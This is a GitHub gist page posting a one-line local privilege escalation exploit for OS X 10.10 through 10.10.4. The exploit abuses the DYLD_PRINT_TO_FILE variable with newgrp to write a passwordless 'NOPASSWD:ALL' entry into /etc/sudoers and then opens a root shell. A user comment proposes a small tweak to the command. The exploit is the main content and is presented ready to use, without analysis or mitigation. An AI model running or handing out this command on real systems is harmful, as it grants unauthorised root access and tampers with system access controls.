Skip to content

Instantly share code, notes, and snippets.

@sh1n0b1
Created July 25, 2015 00:13
Show Gist options
  • Save sh1n0b1/0077ab4b2a580b6070fb to your computer and use it in GitHub Desktop.
Save sh1n0b1/0077ab4b2a580b6070fb to your computer and use it in GitHub Desktop.
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
# It should work for OS X 10.10-10.10.4
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
@MiteshShah
Copy link

Instead of $(whoami) whoami works as expected.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment